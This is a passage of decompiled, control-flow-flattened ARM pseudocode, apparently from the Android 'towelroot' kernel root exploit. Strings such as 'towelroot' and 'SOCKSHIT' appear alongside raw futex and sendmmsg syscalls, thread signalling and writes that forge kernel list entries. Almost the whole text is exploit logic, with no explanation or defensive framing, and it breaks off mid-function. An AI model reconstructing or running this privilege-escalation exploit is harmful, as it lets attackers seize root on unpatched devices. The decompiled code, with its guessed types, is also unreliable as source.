v26 = v76 == -1510328164;
v76 = 665893174;
if ( !v26 )
goto LABEL_501;
}
if ( v76 <= 1550213080 )
break;
v75 = -1;
v26 = v76 == 1550213081;
v76 = -1510328164;
if ( !v26 )
goto LABEL_501;
}
if ( v76 <= 1297895565 )
break;
if ( v76 != 1297895566 )
goto LABEL_501;
fread(
&v220,
1u,
0x1000u,
v153);
v78 = strstr((const char *)&v220, v178);
v75 = atoi(v78 + 25);
v76 = -1510328164;
}
if ( v76 != 134304844 )
break;
v76 = 1297895566;
if ( !v222 )
v76 = 1550213081;
}
if ( v76 != 665893174 )
break;
v76 = 200673134;
v223 = v75;
}
if ( v76 != 200673134 )
{
while ( 1 )
LABEL_501:
;
}
*(_DWORD *)v0[9] = v223;
*(_DWORD *)v179 = 1;
v10 = 183057156;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 334902093 )
LABEL_402:
v10 = 1229291284;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 330154359 )
LABEL_408:
v10 = 1491141973;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 311940052 )
{
v10 = v4;
if ( *((_BYTE *)v0 + 63) )
v10 = -938317265;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 270675626 )
LABEL_210:
v10 = 778127936;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 228749052 )
{
v68 = 1688761628;
v69 = *(_DWORD *)v182;
v70 = *(_DWORD *)v182 + 40;
v71 = *(_DWORD *)v182 + 32;
v151 = *(_DWORD *)v182 + 8;
v72 = v69;
while ( 1 )
{
v74 = v68;
if ( v68 == 812142990 )
break;
v68 = -480229266;
if ( v74 != 1688761628 )
{
if ( v74 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v72 - 4) = 129;
*(_DWORD *)v72 = v71;
*(_DWORD *)(v72 + 8) = v70;
*(_DWORD *)(v72 + 28) = 133;
v73 = v151;
*(_DWORD *)(v72 + 36) = v72;
*(_DWORD *)(v72 + 44) = v73;
v68 = 812142990;
}
}
*(_DWORD *)(*(_DWORD *)v181 + 36) = *(_DWORD *)v0[8] + 8;
sub_7690(12);
*(_DWORD *)v0[10] = *(_DWORD *)(*(_DWORD *)v181 + 36);
v10 = 588192939;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 226419517 )
v10 = 1775663917;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 187926727 )
v10 = -209519436;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == 183057156 )
LABEL_433:
v10 = 546983125;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -58367389 )
v10 = 1691390263;
}
}
else
{
v5 = -1808228722;
if ( v10 == -74850550 )
v10 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -79839947 )
{
v67 = *v183;
v139 = 0;
v140 = 0;
v141 = 0;
syscall(240, v67, 6, 1);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
v10 = -1808228722;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -119219075 )
{
v66 = *(_DWORD *)v184;
goto LABEL_185;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -209519436 )
LABEL_288:
v10 = -1318572317;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -225808799 )
{
_android_log_print(
4,
(char *)v187 + 0xFFFE1BCB,
v186,
-1808228722,
v143,
v144,
v145);
v60 = v0[14];
v61 = write(*(_DWORD *)v185, v0[14], 4096);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[1] = v61;
v10 = 1620415426;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -289155922 )
{
sleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_379;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -340826675 )
{
*(_DWORD *)v191 = malloc(4u);
pthread_mutex_init();
v46 = 1688761628;
v47 = **(_DWORD **)((char *)v192 + 0xFFFFFF90);
v48 = v47 + 40;
v49 = v47 + 32;
v151 = v47 + 8;
v50 = v47;
while ( 1 )
{
v57 = v46;
if ( v46 == 812142990 )
break;
v46 = -480229266;
if ( v57 != 1688761628 )
{
if ( v57 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v50 - 4) = 129;
*(_DWORD *)v50 = v49;
*(_DWORD *)(v50 + 8) = v48;
*(_DWORD *)(v50 + 28) = 133;
v56 = v151;
*(_DWORD *)(v50 + 36) = v50;
*(_DWORD *)(v50 + 44) = v56;
v46 = 812142990;
}
}
v62 = sub_7690(11);
v63 = v190;
*(_DWORD *)v0[7] = v62;
*(_DWORD *)v0[8] = (***(_DWORD ***)((char *)v63 + 0xFFFFFF90) ^ 0x1FFF) & ***(_DWORD ***)((char *)v63 + 0xFFFFFF90);
_android_log_print(
4,
(char *)v190 + 0xFFFE1BCB,
v189,
*(_DWORD *)v0[8],
v143,
v144,
v145);
v64 = *(int *)((char *)v190 + 0xFFFFFFBC);
*(_DWORD *)v188 = 0;
*(_DWORD *)v64 = 0;
v65 = *(_DWORD *)v0[7];
v151 = *(int *)((char *)v190 + 0xFFFFFFAC);
v150 = v65;
pthread_mutex_lock(v151);
kill(v150, 12);
pthread_cond_wait(*(int *)((char *)v190 + 0xFFFFFFB0), v151);
pthread_mutex_unlock(v151);
v10 = 1691390263;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -374329839 )
{
usleep(10);
v5 = -1808228722;
v6 = 2141699670;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_147;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -380872210 )
{
_android_log_print(
4,
(char *)v196 + 0xFFFE1BCB,
v195,
-1808228722,
v143,
v144,
v145);
v38 = 1688761628;
v39 = **(_DWORD **)((char *)v196 + 0xFFFFFF9C);
v40 = v39 + 32;
v41 = v39 + 40;
v151 = v39 + 8;
v42 = v39;
while ( 1 )
{
v45 = v38;
if ( v38 == 812142990 )
break;
v38 = -480229266;
if ( v45 != 1688761628 )
{
if ( v45 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v42 - 4) = 129;
*(_DWORD *)v42 = v40;
*(_DWORD *)(v42 + 8) = v41;
*(_DWORD *)(v42 + 28) = 133;
v44 = v151;
*(_DWORD *)(v42 + 36) = v42;
*(_DWORD *)(v42 + 44) = v44;
v38 = 812142990;
}
}
v51 = 1688761628;
v52 = *(_DWORD *)v194;
v53 = *(_DWORD *)v194 + 40;
v54 = *(_DWORD *)v194 + 32;
v151 = *(_DWORD *)v194 + 8;
v55 = v52;
while ( 1 )
{
v59 = v51;
if ( v51 == 812142990 )
break;
v51 = -480229266;
if ( v59 != 1688761628 )
{
if ( v59 != -480229266 )
{
while ( 1 )
;
}
*(_DWORD *)(v55 - 4) = 129;
*(_DWORD *)v55 = v54;
*(_DWORD *)(v55 + 8) = v53;
*(_DWORD *)(v55 + 28) = 133;
v58 = v151;
*(_DWORD *)(v55 + 36) = v55;
*(_DWORD *)(v55 + 44) = v58;
v51 = 812142990;
}
}
*(_DWORD *)v0[3] = *(_DWORD *)v55;
*(_DWORD *)v0[4] = sub_7690(11);
v10 = 2106737173;
if ( **(_DWORD **)v193 == *(_DWORD *)v0[3] )
v10 = -1604560887;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -466607926 )
{
sprintf(
(char *)&v221,
(const char *)v199 + 0xFFFE1CC6,
**(_DWORD **)((char *)v199 + 0xFFFFFFB8),
-1808228722,
v143,
v144,
v145);
v35 = (signed int)fopen(
(const char *)&v221,
(const char *)v199 + 0xFFFE1CE0);
v36 = 134304844;
v222 = v35;
v153 = (FILE *)v35;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 <= 134304843 )
{
v26 = v36 == -1510328164;
v36 = 665893174;
if ( !v26 )
goto LABEL_497;
}
if ( v36 <= 1550213080 )
break;
v35 = -1;
v26 = v36 == 1550213081;
v36 = -1510328164;
if ( !v26 )
goto LABEL_497;
}
if ( v36 <= 1297895565 )
break;
if ( v36 != 1297895566 )
goto LABEL_497;
fread(&v220, 1u, 0x1000u, v153);
v43 = strstr((const char *)&v220, v197);
v35 = atoi(v43 + 25);
v36 = -1510328164;
}
if ( v36 != 134304844 )
break;
v36 = 1297895566;
if ( !v222 )
v36 = 1550213081;
}
if ( v36 != 665893174 )
break;
v36 = 200673134;
v223 = v35;
}
if ( v36 != 200673134 )
{
while ( 1 )
LABEL_497:
;
}
*(_DWORD *)v0[2] = v223;
*(_DWORD *)v198 = 1;
v10 = 1053938999;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -506989467 )
{
sprintf(
(char *)&v221,
(const char *)v202 + 0xFFFE1CC6,
*(_DWORD *)v0[7],
-1808228722,
v143,
v144,
v145);
v33 = (signed int)fopen(
(const char *)&v221,
(const char *)v202 + 0xFFFE1CE0);
v34 = 134304844;
v222 = v33;
v153 = (FILE *)v33;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v34 <= 134304843 )
{
v26 = v34 == -1510328164;
v34 = 665893174;
if ( !v26 )
goto LABEL_495;
}
if ( v34 <= 1550213080 )
break;
v33 = -1;
v26 = v34 == 1550213081;
v34 = -1510328164;
if ( !v26 )
goto LABEL_495;
}
if ( v34 <= 1297895565 )
break;
if ( v34 != 1297895566 )
goto LABEL_495;
fread(&v220, 1u, 0x1000u, v153);
v37 = strstr((const char *)&v220, v200);
v33 = atoi(v37 + 25);
v34 = -1510328164;
}
if ( v34 != 134304844 )
break;
v34 = 1297895566;
if ( !v222 )
v34 = 1550213081;
}
if ( v34 != 665893174 )
break;
v34 = 200673134;
v223 = v33;
}
if ( v34 != 200673134 )
{
while ( 1 )
LABEL_495:
;
}
*(_DWORD *)v0[9] = v223;
*(_DWORD *)v201 = 1;
v10 = 377318881;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -546239532 )
{
sub_7690(6);
sub_7690(7);
v28 = *(int **)((char *)v205 + 0xFFFFFFA0);
*(_DWORD *)*v28 = 0;
*(_DWORD *)v204 = 0;
*(_DWORD *)v203 = 0;
v29 = *v28;
v30 = *(_DWORD *)*v28;
v139 = 0;
v140 = v29;
v141 = v30;
v31 = syscall(240, v29, 12, 1);
v6 = 2141699670;
v8 = 2133560833;
v5 = -1808228722;
*(_DWORD *)v0[1] = v31;
goto LABEL_210;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -660755354 )
LABEL_264:
v10 = 474124530;
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -874358361 )
{
sprintf((char *)&v221, v208, *(_DWORD *)v209, -1808228722, v143, v144, v145);
v24 = (signed int)fopen((const char *)&v221, v207);
v25 = 134304844;
v222 = v24;
v153 = (FILE *)v24;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v25 <= 134304843 )
{
v26 = v25 == -1510328164;
v25 = 665893174;
if ( !v26 )
goto LABEL_494;
}
if ( v25 <= 1550213080 )
break;
v24 = -1;
v26 = v25 == 1550213081;
v25 = -1510328164;
if ( !v26 )
goto LABEL_494;
}
if ( v25 <= 1297895565 )
break;
if ( v25 != 1297895566 )
goto LABEL_494;
fread(&v220, 1u, 0x1000u, v153);
v27 = strstr((const char *)&v220, v206);
v24 = atoi(v27 + 25);
v25 = -1510328164;
}
if ( v25 != 134304844 )
break;
v25 = 1297895566;
if ( !v222 )
v25 = 1550213081;
}
if ( v25 != 665893174 )
break;
v25 = 200673134;
v223 = v24;
}
if ( v25 != 200673134 )
{
while ( 1 )
LABEL_494:
;
}
v32 = v0[2];
v10 = 2000505561;
goto LABEL_493;
}
}
}
else
{
v5 = -1808228722;
v8 = 2133560833;
v6 = 2141699670;
if ( v10 == -930232672 )
v10 = -952162115;
}
}
else if ( v10 == -938317265 )
{
v21 = v7;
v22 = v3;
v23 = v5;
usleep(10);
v5 = v23;
v3 = v22;
v6 = 2141699670;
v7 = v21;
v8 = 2133560833;
v9 = -1906617131;
goto LABEL_332;
}
}
else if ( v10 == -952162115 )
{
goto LABEL_455;
}
}
else if ( v10 == -956359572 )
{
LABEL_185:
v10 = 1672960385;
}
}
else if ( v10 == -1073565832 )
{
v10 = -1691663690;
if ( *((_BYTE *)v0 + 61) )
v10 = 1626316963;
}
}
else if ( v10 == -1196015651 )
{
*(_DWORD *)v0[10] = 0;
v10 = 228749052;
if ( (*v210)[3] )
v10 = 966273893;
}
}
else if ( v10 == -1242965121 )
{
*(_DWORD *)v0[10] <<= 8;
v10 = -209519436;
if ( *(_DWORD *)v0[10] < 0xC0000000 )
v10 = 1735321709;
}
}
else if ( v10 == -1287756418 )
{
v17 = v8;
*v213 = (*(_DWORD *)v0[13] ^ 0x1FFF) & *(_DWORD *)v0[13];
v18 = v0[5];
v19 = v212;
v20 = *(_DWORD *)v18;
pthread_mutex_lock(v212);
kill(v20, 12);
pthread_cond_wait(v211, v19);
pthread_mutex_unlock(v19);
v5 = -1808228722;
v4 = -1828017780;
v10 = 1079106669;
v2 = -1808228723;
v8 = v17;
v1 = -1906617130;
v0 = &v219;
}
}
else if ( v10 == -1318572317 )
{
v10 = v6;
}
}
else if ( v10 == -1604560887 )
{
v15 = v5;
_android_log_print(4, v217, v216);
v8 = 2133560833;
v7 = -1716600560;
v9 = -1906617131;
v5 = v15;
v3 = -1947206001;
v16 = *(_DWORD *)v215;
v224 = v6;
*(_DWORD *)v214 = v16;
v10 = 2106737173;
v6 = v224;
}
}
else if ( v10 == -1650856873 )
{
LABEL_147:
v10 = 447444915;
}
}
else if ( v10 == -1691663690 )
{
v10 = -466607926;
}
}
else if ( v10 == -1697529350 )
{
goto LABEL_455;
}
}
else if ( v10 == -1699267298 )
{
v14 = v5;
sleep(10);
v8 = 2133560833;
v9 = -1906617131;
v10 = 334902093;
v7 = -1716600560;
v5 = v14;
v3 = -1947206001;
}
}
else if ( v10 == v7 )
{
v10 = -380872210;
if ( *((_BYTE *)v0 + 62) )
v10 = 673782705;
}
}
else if ( v10 == v5 )
{
*v0 = (int)&v141;
v0[1] = (int)&v141;
v0[2] = (int)&v141;
v0[3] = (int)&v141;
v0[4] = (int)&v141;
v0[5] = (int)&v141;
v0[6] = (int)&v141;
v0[7] = (int)&v141;
v0[8] = (int)&v141;
v0[9] = (int)&v141;
v0[10] = (int)&v141;
v0[11] = (int)&v141;
v0[12] = (int)&v141;
v0[13] = (int)&v141;
v0[14] = (int)(&v143 - 1024);
v11 = *v218;
v12 = v5;
v139 = 0;
v140 = 0;
v141 = 0;
v13 = syscall(240, v11, 6, 1);
v8 = 2133560833;
v9 = -1906617131;
v7 = -1716600560;
v5 = v12;
v3 = -1947206001;
*(_DWORD *)v0[1] = v13;
v10 = -1650856873;
}
}
else if ( v10 == v4 )
{
v10 = 377318881;
}
}
}
while ( v10 != v1 );
return *(_DWORD *)*v0;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F60: using guessed type int __fastcall mmap(_DWORD, _DWORD, _DWORD, _DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// F78: using guessed type int __fastcall pthread_cond_wait(_DWORD, _DWORD);
// FC0: using guessed type int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD);
// FCC: using guessed type int __fastcall kill(_DWORD, _DWORD);
// FD8: using guessed type int __fastcall pthread_mutex_unlock(_DWORD);
// FE4: using guessed type int __fastcall usleep(_DWORD);
// 1038: using guessed type int pthread_mutex_init(void);
// 1044: using guessed type int __fastcall write(_DWORD, _DWORD, _DWORD);
// 1050: using guessed type int __fastcall munmap(_DWORD, _DWORD);
// 2ACEC: using guessed type void *swag;
// 2ACF0: using guessed type void *swag2;
// 2ACF4: using guessed type void **ph;
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;
//----- (00005960) --------------------------------------------------------
int sub_5960()
{
signed int v0; // r5@1
signed int v1; // r6@1
signed int v2; // r9@1
signed int v3; // r4@1
signed int v4; // r3@1
signed int v5; // r8@1
signed int v6; // r2@1
signed int v7; // r10@1
signed int v8; // r12@1
unsigned int v9; // r0@1
signed int v10; // lr@1
signed int v11; // r8@31
signed int v12; // r6@31
signed int v13; // r9@31
signed int v14; // r10@31
signed int v15; // r5@31
signed int v16; // r4@39
signed int v17; // r6@39
signed int v18; // r9@39
signed int v19; // r10@39
signed int v20; // r5@39
void *v21; // r0@46
signed int v22; // r8@75
signed int v23; // r4@75
signed int v24; // r6@75
signed int v25; // r9@75
signed int v26; // r10@75
int v27; // r1@124
signed int v28; // r10@124
signed int v29; // r5@124
signed int v30; // r8@124
signed int v31; // r4@124
signed int v32; // r6@124
signed int v33; // r9@124
int v34; // r0@124
signed int v35; // r10@156
signed int v36; // r5@156
signed int v37; // r8@156
signed int v38; // r4@156
signed int v39; // r6@156
signed int v40; // r9@156
int v41; // r0@156
char v42; // r0@184
signed int v43; // r10@203
signed int v44; // r5@203
signed int v45; // r8@203
signed int v46; // r4@203
signed int v47; // r6@203
signed int v48; // r9@203
int v49; // r0@203
unsigned __int8 v50; // zf@203
unsigned __int8 v51; // nf@203
int v52; // r1@203
signed int v53; // r10@228
signed int v54; // r5@228
signed int v55; // r8@228
signed int v56; // r4@228
signed int v57; // r6@228
signed int v58; // r9@228
int v59; // r0@232
int v60; // r0@232
int v61; // r1@249
signed int v62; // r10@249
signed int v63; // r5@249
signed int v64; // r8@249
signed int v65; // r4@249
signed int v66; // r6@249
signed int v67; // r9@249
int v68; // r0@249
unsigned __int8 v69; // zf@249
unsigned __int8 v70; // nf@249
int v71; // r1@249
void *v72; // r1@267
signed int v73; // r10@267
void *v74; // ST04_4@267
signed int v75; // r5@267
signed int v76; // r8@267
signed int v77; // r4@267
signed int v78; // r6@267
signed int v79; // r9@267
char v80; // r0@270
signed int v81; // r12@318
int v82; // r3@318
int v83; // r0@318
signed int v84; // r10@327
signed int v85; // r5@327
signed int v86; // r8@327
signed int v87; // r4@327
signed int v88; // r6@327
signed int v89; // r9@327
char v90; // r0@330
int v91; // t1@343
int v93; // [sp+8h] [bp-A8h]@124
int v94; // [sp+Ch] [bp-A4h]@124
int v95; // [sp+10h] [bp-A0h]@232
int v96; // [sp+14h] [bp-9Ch]@72
int v97; // [sp+18h] [bp-98h]@1
void ***v98; // [sp+1Ch] [bp-94h]@1
int *v99; // [sp+20h] [bp-90h]@1
void ***v100; // [sp+24h] [bp-8Ch]@1
int v101; // [sp+28h] [bp-88h]@1
int *v102; // [sp+2Ch] [bp-84h]@1
int v103; // [sp+30h] [bp-80h]@1
int v104; // [sp+34h] [bp-7Ch]@1
void **v105; // [sp+38h] [bp-78h]@1
void **v106; // [sp+3Ch] [bp-74h]@1
int v107; // [sp+40h] [bp-70h]@1
void ***v108; // [sp+44h] [bp-6Ch]@1
int v109; // [sp+48h] [bp-68h]@1
const char *v110; // [sp+4Ch] [bp-64h]@1
int v111; // [sp+50h] [bp-60h]@1
int v112; // [sp+54h] [bp-5Ch]@1
void ***v113; // [sp+58h] [bp-58h]@1
char *v114; // [sp+5Ch] [bp-54h]@1
void ***v115; // [sp+60h] [bp-50h]@1
int v116; // [sp+64h] [bp-4Ch]@1
int *v117; // [sp+68h] [bp-48h]@140
int *v118; // [sp+6Ch] [bp-44h]@124
int *v119; // [sp+70h] [bp-40h]@72
int *v120; // [sp+74h] [bp-3Ch]@124
int v121; // [sp+78h] [bp-38h]@124
int *v122; // [sp+7Ch] [bp-34h]@156
int *v123; // [sp+80h] [bp-30h]@137
int *v124; // [sp+84h] [bp-2Ch]@72
char v125; // [sp+88h] [bp-28h]@98
char v126; // [sp+89h] [bp-27h]@147
char v127; // [sp+8Ah] [bp-26h]@48
char v128; // [sp+8Bh] [bp-25h]@90
int v129; // [sp+8Ch] [bp-24h]@140
v114 = "SOCKSHIT";
v0 = 1958633064;
v1 = 1924857696;
v113 = &ph;
v2 = 352503583;
v112 = (int)&MAGIC;
v110 = "EXIT WTF\n";
v111 = (int)"towelroot";
v109 = (int)&MAGIC;
v3 = -895641900;
v108 = &ph;
v107 = (int)&waiter_thread_tid;
v105 = &swag2;
v106 = &swag;
v4 = -606985679;
v104 = (int)&do_socket_tid_read;
v5 = 471420065;
v103 = (int)&did_socket_tid_read;
v102 = &GLOBAL_OFFSET_TABLE_;
v101 = (int)&MAGIC_ALT;
v100 = &ph;
v99 = &GLOBAL_OFFSET_TABLE_;
v98 = &ph;
v6 = 1801770282;
v97 = (int)&did_socket_tid_read;
v7 = 1611667672;
v115 = &ph;
v8 = 1711583301;
v116 = (int)&waiter_thread_tid;
v9 = -46364808;
v10 = 1830166322;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( (signed int)v9 > 2113386873 )
{
if ( v9 == 2113386874 )
v9 = v3;
}
if ( (signed int)v9 <= v0 )
break;
if ( v9 == 1958633065 )
v9 = v4;
}
if ( (signed int)v9 <= v1 )
break;
if ( v9 == 1924857697 )
v9 = v2;
}
if ( (signed int)v9 <= 1830166321 )
break;
if ( v9 == v10 )
v9 = v5;
}
if ( (signed int)v9 <= 1801770281 )
break;
if ( v9 == v6 )
v9 = v3;
}
if ( (signed int)v9 <= 1711583300 )
break;
if ( v9 == v8 )
LABEL_221:
v9 = 684709879;
}
if ( (signed int)v9 <= 1611667671 )
break;
if ( v9 == v7 )
{
v11 = v1;
v12 = v2;
v13 = v4;
v14 = v8;
v15 = v6;
*(_DWORD *)v116 = syscall(224, 1611667671, v6, v4);
setpriority(0, 0, 12);
sub_7390();
v9 = 88228847;
v3 = -895641900;
v6 = v15;
v0 = 1958633064;
v8 = v14;
v7 = 1611667672;
v4 = v13;
v2 = v12;
v1 = v11;
v5 = 471420065;
}
}
if ( (signed int)v9 <= 1553720540 )
break;
if ( v9 == 1553720541 )
LABEL_76:
v9 = -63528078;
}
if ( (signed int)v9 > -2106962140 )
break;
if ( v9 == -2114967034 )
v9 = -1743918406;
}
if ( (signed int)v9 <= 1531809905 )
break;
if ( v9 == 1531809906 )
LABEL_229:
v9 = 1336748627;
}
if ( (signed int)v9 <= 1526829644 )
break;
if ( v9 == 1526829645 )
v9 = v10;
}
if ( (signed int)v9 <= 1511772232 )
break;
if ( v9 == 1511772233 )
{
v21 = (*v115)[1];
if ( v21 != (void *)1 )
LOBYTE(v21) = 0;
v127 = (char)v21;
v9 = -600519679;
}
}
if ( (signed int)v9 > -2104783999 )
break;
if ( v9 == -2106962139 )
{
v16 = v1;
v17 = v2;
v18 = v4;
v19 = v8;
v20 = v6;
perror(v114);
v9 = -1944808194;
v5 = 471420065;
v6 = v20;
v0 = 1958633064;
v8 = v19;
v7 = 1611667672;
v4 = v18;
v2 = v17;
v1 = v16;
v3 = -895641900;
}
}
if ( (signed int)v9 > -2091116319 )
break;
if ( v9 == -2104783998 )
LABEL_69:
v9 = 1511772233;
}
if ( (signed int)v9 > -2080061258 )
break;
if ( v9 == -2091116318 )
LABEL_95:
v9 = 156727847;
}
if ( (signed int)v9 > -2076657360 )
break;
if ( v9 == -2080061257 )
LABEL_291:
v9 = -67329568;
}
if ( (signed int)v9 > -2059739183 )
break;
if ( v9 == -2076657359 )
{
v9 = -1122665569;
if ( !(*v113)[2] )
v9 = -362246627;
}
}
if ( (signed int)v9 > -2013000336 )
break;
if ( v9 == -2059739182 )
v9 = 585450575;
}
if ( (signed int)v9 > -1975693759 )
break;
if ( v9 == -2013000335 )
goto LABEL_69;
}
if ( (signed int)v9 > -1944808195 )
break;
if ( v9 == -1975693758 )
{
v96 = *(_DWORD *)v112;
v124[*v119] = v96;
v10 = 1830166322;
v9 = -1553474460;
}
}
if ( (signed int)v9 > -1922763465 )
break;
if ( v9 == -1944808194 )
{
v22 = v3;
v23 = v1;
v24 = v2;
v25 = v4;
v26 = v8;
_android_log_print(4, v111, v110);
v6 = 1801770282;
v0 = 1958633064;
v8 = v26;
v7 = 1611667672;
v4 = v25;
v2 = v24;
v1 = v23;
v3 = v22;
v5 = 471420065;
goto LABEL_76;
}
}
if ( (signed int)v9 > -1916186443 )
break;
if ( v9 == -1922763464 )
v9 = -377732497;
}
if ( (signed int)v9 > -1847221508 )
break;
if ( v9 == -1916186442 )
v9 = 763967220;
}
if ( (signed int)v9 > -1821802462 )
break;
if ( v9 == -1847221507 )
LABEL_282:
v9 = -1272004046;
}
if ( (signed int)v9 > -1743918407 )
break;
if ( v9 == -1821802461 )
{
v9 = 873325447;
if ( v128 )
v9 = -313082236;
}
}
if ( (signed int)v9 > -1739896731 )
break;
if ( v9 == -1743918406 )
goto LABEL_95;
}
if ( (signed int)v9 > -1676803382 )
break;
if ( v9 == -1739896730 )
{
v9 = -116623177;
if ( v125 )
v9 = -2059739182;
}
}
if ( (signed int)v9 > -1581040932 )
break;
if ( v9 == -1676803381 )
{
v9 = -2076657359;
if ( *v119 < 32 )
v9 = -1975693758;
}
}
if ( (signed int)v9 > -1553474461 )
break;
if ( v9 == -1581040931 )
{
++*v119;
goto LABEL_214;
}
}
if ( (signed int)v9 > -1408402760 )
break;
if ( v9 == -1553474460 )
{
++*v119;
goto LABEL_242;
}
}
if ( (signed int)v9 > -1272004047 )
break;
if ( v9 == -1408402759 )
LABEL_321:
v9 = -850701990;
}
if ( (signed int)v9 > -1241056786 )
break;
if ( v9 == -1272004046 )
v9 = -2091116318;
}
if ( (signed int)v9 > -1237353609 )
break;
if ( v9 == -1241056785 )
{
*v119 = 0;
v9 = 824737539;
}
}
if ( (signed int)v9 > -1122665570 )
break;
if ( v9 == -1237353608 )
{
v27 = *v120;
v28 = v0;
v93 = 0;
v29 = v5;
v94 = 0;
v30 = v3;
v31 = v1;
v32 = v2;
v33 = v4;
v34 = syscall(365, v27, v121, 1);
v4 = v33;
v2 = v32;
v10 = 1830166322;
v1 = v31;
v6 = 1801770282;
v3 = v30;
v8 = 1711583301;
v5 = v29;
v0 = v28;
v7 = 1611667672;
*v118 = v34;
v9 = v4;
}
}
if ( (signed int)v9 > -1063687411 )
break;
if ( v9 == -1122665569 )
v9 = -1241056785;
}
if ( (signed int)v9 > -1056611560 )
break;
if ( v9 == -1063687410 )
LABEL_196:
v9 = 124382290;
}
if ( (signed int)v9 > -963311210 )
break;
if ( v9 == -1056611559 )
{
*v119 = 0;
v9 = 399300895;
}
}
if ( (signed int)v9 > -895641901 )
break;
if ( v9 == -963311209 )
{
v123[2 * *v119 + 1] = 16;
v123[2 * *v119] = *(_DWORD *)v109;
v10 = 1830166322;
v9 = -320862017;
}
}
if ( (signed int)v9 > -850701991 )
break;
if ( v9 == v3 )
{
v129 = *v117;
v9 = 1134159150;
}
}
if ( (signed int)v9 > -839360481 )
break;
if ( v9 == -850701990 )
v9 = 1958633065;
}
if ( (signed int)v9 > -810851279 )
break;
if ( v9 == -839360480 )
{
v9 = -449798502;
if ( v126 )
v9 = 1526829645;
}
}
if ( (signed int)v9 > -636767833 )
break;
if ( v9 == -810851278 )
v9 = 1531809906;
}
if ( (signed int)v9 > -606985680 )
